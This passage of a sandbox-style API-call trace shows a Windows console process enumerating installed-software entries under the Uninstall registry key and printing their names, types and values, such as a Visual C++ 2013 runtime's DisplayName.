_get_osfhandle (_FileHandle=1) returned 0x50 [0148.311] _errno () returned 0xc4bb0 [0148.311] GetFileType (hFile=0x50) returned 0x1 [0148.311] lstrlenW (lpString=" ") returned 4 [0148.311] GetConsoleOutputCP () returned 0x1b5 [0148.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.311] GetConsoleOutputCP () returned 0x1b5 [0148.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.312] lstrlenW (lpString="Language") returned 8 [0148.312] __iob_func () returned 0x7fefd702a80 [0148.312] _fileno (_File=0x7fefd702ab0) returned 1 [0148.312] _errno () returned 0xc4bb0 [0148.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.312] _errno () returned 0xc4bb0 [0148.312] GetFileType (hFile=0x50) returned 0x1 [0148.312] lstrlenW (lpString="Language") returned 8 [0148.312] GetConsoleOutputCP () returned 0x1b5 [0148.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.312] GetConsoleOutputCP () returned 0x1b5 [0148.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0148.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.312] __iob_func () returned 0x7fefd702a80 [0148.312] _fileno (_File=0x7fefd702ab0) returned 1 [0148.312] _errno () returned 0xc4bb0 [0148.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.312] _errno () returned 0xc4bb0 [0148.312] GetFileType (hFile=0x50) returned 0x1 [0148.312] lstrlenW (lpString=" ") returned 4 [0148.313] GetConsoleOutputCP () returned 0x1b5 [0148.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.313] GetConsoleOutputCP () returned 0x1b5 [0148.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.313] __iob_func () returned 0x7fefd702a80 [0148.313] _fileno (_File=0x7fefd702ab0) returned 1 [0148.313] _errno () returned 0xc4bb0 [0148.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.313] _errno () returned 0xc4bb0 [0148.313] GetFileType (hFile=0x50) returned 0x1 [0148.313] lstrlenW (lpString="REG_DWORD") returned 9 [0148.313] GetConsoleOutputCP () returned 0x1b5 [0148.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.313] GetConsoleOutputCP () returned 0x1b5 [0148.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.314] __iob_func () returned 0x7fefd702a80 [0148.314] _fileno (_File=0x7fefd702ab0) returned 1 [0148.314] _errno () returned 0xc4bb0 [0148.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.314] _errno () returned 0xc4bb0 [0148.314] GetFileType (hFile=0x50) returned 0x1 [0148.314] lstrlenW (lpString=" ") returned 4 [0148.314] GetConsoleOutputCP () returned 0x1b5 [0148.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.314] GetConsoleOutputCP () returned 0x1b5 [0148.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.314] __iob_func () returned 0x7fefd702a80 [0148.314] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.314] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x409") returned 5 [0148.314] _fileno (_File=0x7fefd702ab0) returned 1 [0148.314] _errno () returned 0xc4bb0 [0148.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.314] _errno () returned 0xc4bb0 [0148.314] GetFileType (hFile=0x50) returned 0x1 [0148.314] lstrlenW (lpString="0x409") returned 5 [0148.314] GetConsoleOutputCP () returned 0x1b5 [0148.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0148.314] GetConsoleOutputCP () returned 0x1b5 [0148.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0148.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0148.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.315] __iob_func () returned 0x7fefd702a80 [0148.315] _fileno (_File=0x7fefd702ab0) returned 1 [0148.315] _errno () returned 0xc4bb0 [0148.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.315] _errno () returned 0xc4bb0 [0148.315] GetFileType (hFile=0x50) returned 0x1 [0148.315] lstrlenW (lpString="\n") returned 1 [0148.315] GetConsoleOutputCP () returned 0x1b5 [0148.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.315] GetConsoleOutputCP () returned 0x1b5 [0148.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.315] GetProcessHeap () returned 0x2e0000 [0148.315] GetProcessHeap () returned 0x2e0000 [0148.315] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.315] GetProcessHeap () returned 0x2e0000 [0148.315] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.315] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.315] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.316] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x78) returned 0x0 [0148.316] GetProcessHeap () returned 0x2e0000 [0148.316] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x7a) returned 0x302970 [0148.316] GetProcessHeap () returned 0x2e0000 [0148.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.316] GetProcessHeap () returned 0x2e0000 [0148.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x7a [0148.316] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x78 | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005", pcbData=0x23f670*=0x76) returned 0x0 [0148.316] __iob_func () returned 0x7fefd702a80 [0148.316] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.316] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.316] _fileno (_File=0x7fefd702ab0) returned 1 [0148.316] _errno () returned 0xc4bb0 [0148.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.316] _errno () returned 0xc4bb0 [0148.316] GetFileType (hFile=0x50) returned 0x1 [0148.316] lstrlenW (lpString=" ") returned 4 [0148.316] GetConsoleOutputCP () returned 0x1b5 [0148.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.316] GetConsoleOutputCP () returned 0x1b5 [0148.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.316] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.316] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.316] lstrlenW (lpString="DisplayName") returned 11 [0148.317] __iob_func () returned 0x7fefd702a80 [0148.317] _fileno (_File=0x7fefd702ab0) returned 1 [0148.317] _errno () returned 0xc4bb0 [0148.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.317] _errno () returned 0xc4bb0 [0148.317] GetFileType (hFile=0x50) returned 0x1 [0148.317] lstrlenW (lpString="DisplayName") returned 11 [0148.317] GetConsoleOutputCP () returned 0x1b5 [0148.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.317] GetConsoleOutputCP () returned 0x1b5 [0148.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.318] __iob_func () returned 0x7fefd702a80 [0148.318] _fileno (_File=0x7fefd702ab0) returned 1 [0148.318] _errno () returned 0xc4bb0 [0148.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.318] _errno () returned 0xc4bb0 [0148.318] GetFileType (hFile=0x50) returned 0x1 [0148.318] lstrlenW (lpString=" ") returned 4 [0148.318] GetConsoleOutputCP () returned 0x1b5 [0148.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.318] GetConsoleOutputCP () returned 0x1b5 [0148.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.318] __iob_func () returned 0x7fefd702a80 [0148.318] _fileno (_File=0x7fefd702ab0) returned 1 [0148.318] _errno () returned 0xc4bb0 [0148.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.318] _errno () returned 0xc4bb0 [0148.318] GetFileType (hFile=0x50) returned 0x1 [0148.318] lstrlenW (lpString="REG_SZ") returned 6 [0148.318] GetConsoleOutputCP () returned 0x1b5 [0148.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.318] GetConsoleOutputCP () returned 0x1b5 [0148.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.319] __iob_func () returned 0x7fefd702a80 [0148.319] _fileno (_File=0x7fefd702ab0) returned 1 [0148.319] _errno () returned 0xc4bb0 [0148.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.319] _errno () returned 0xc4bb0 [0148.319] GetFileType (hFile=0x50) returned 0x1 [0148.319] lstrlenW (lpString=" ") returned 4 [0148.319] GetConsoleOutputCP () returned 0x1b5 [0148.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.319] GetConsoleOutputCP () returned 0x1b5 [0148.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.319] __iob_func () returned 0x7fefd702a80 [0148.319] _fileno (_File=0x7fefd702ab0) returned 1 [0148.319] _errno () returned 0xc4bb0 [0148.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.319] _errno () returned 0xc4bb0 [0148.319] GetFileType (hFile=0x50) returned 0x1 [0148.319] lstrlenW (lpString="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005") returned 58 [0148.319] GetConsoleOutputCP () returned 0x1b5 [0148.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0148.320] GetConsoleOutputCP () returned 0x1b5 [0148.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005", cchWideChar=58, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005", lpUsedDefaultChar=0x0) returned 58 [0148.320] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 58 [0148.320] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.320] __iob_func () returned 0x7fefd702a80 [0148.320] _fileno (_File=0x7fefd702ab0) returned 1 [0148.320] _errno () returned 0xc4bb0 [0148.320] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.320] _errno () returned 0xc4bb0 [0148.320] GetFileType (hFile=0x50) returned 0x1 [0148.320] lstrlenW (lpString="\n") returned 1 [0148.320] GetConsoleOutputCP () returned 0x1b5 [0148.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.320] GetConsoleOutputCP () returned 0x1b5 [0148.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.320] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.320] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.320] GetProcessHeap () returned 0x2e0000 [0148.320] GetProcessHeap () returned 0x2e0000 [0148.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.320] GetProcessHeap () returned 0x2e0000 [0148.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x7a [0148.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.321] __iob_func () returned 0x7fefd702a80 [0148.321] _fileno (_File=0x7fefd702ab0) returned 1 [0148.321] _errno () returned 0xc4bb0 [0148.321] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.321] _errno () returned 0xc4bb0 [0148.321] GetFileType (hFile=0x50) returned 0x1 [0148.321] lstrlenW (lpString="\n") returned 1 [0148.321] GetConsoleOutputCP () returned 0x1b5 [0148.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.321] GetConsoleOutputCP () returned 0x1b5 [0148.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.321] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.321] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0148.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0148.321] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0148.321] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 109 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.321] GetProcessHeap () returned 0x2e0000 [0148.321] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.322] GetProcessHeap () returned 0x2e0000 [0148.322] GetProcessHeap () returned 0x2e0000 [0148.322] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.322] GetProcessHeap () returned 0x2e0000 [0148.322] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0148.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.322] RegCloseKey (hKey=0x5c) returned 0x0 [0148.322] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1c, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.322] __iob_func () returned 0x7fefd702a80 [0148.322] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.322] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\n") returned 110 [0148.322] _fileno (_File=0x7fefd702ab0) returned 1 [0148.322] _errno () returned 0xc4bb0 [0148.322] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.322] _errno () returned 0xc4bb0 [0148.322] GetFileType (hFile=0x50) returned 0x1 [0148.322] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\n") returned 110 [0148.322] GetConsoleOutputCP () returned 0x1b5 [0148.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0148.322] GetConsoleOutputCP () returned 0x1b5 [0148.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}\n", lpUsedDefaultChar=0x0) returned 110 [0148.322] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0148.322] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.323] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0148.323] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.323] GetProcessHeap () returned 0x2e0000 [0148.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0148.323] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.323] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, 